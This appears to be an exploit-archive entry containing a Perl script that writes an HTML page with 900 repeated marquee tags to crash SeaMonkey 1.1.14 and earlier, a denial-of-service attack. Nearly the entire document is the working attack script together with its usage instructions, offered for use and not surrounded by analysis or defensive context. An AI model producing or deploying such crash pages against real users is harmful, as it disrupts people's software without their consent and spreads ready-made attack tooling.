SeaMonkey versions 1.1.14 and below denial of service exploit that leverages a vulnerability found in September of 2008 for version 1.1.11.
145924eb21eb6a75847285f17724c7bbf7cd1e95415ecebf4e4bface10e60fb1
#!/usr/bin/perl
# SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit
# by athos - staker[at]hotmail[dot]it
# tested on ubuntu 8.10 / slackware 12.2
# thanks to SirDark because he has tested on slackware
my $data = undef;
my $file = shift or &usage;
exploit();
sub exploit {
$data .= "<html><head><title>";
$data .= "SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit";
$data .= "</title></head><body>";
$data .= "<marquee>" x900;
$data .= "</body></html>";
open(FILE,'>',$file) or die('file error');
print FILE $data;
close(FILE);
}
sub usage {
print "\n+---------------------------------------------------------+\r".
"\n| SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit |\r".
"\n+---------------------------------------------------------+\r".
"\nby athos - staker[at]hotmail[dot]it\n".
"\nUsage\n".
"\rperl $0 [file name]\n".
"\rperl $0 crash.html\n";
exit;
}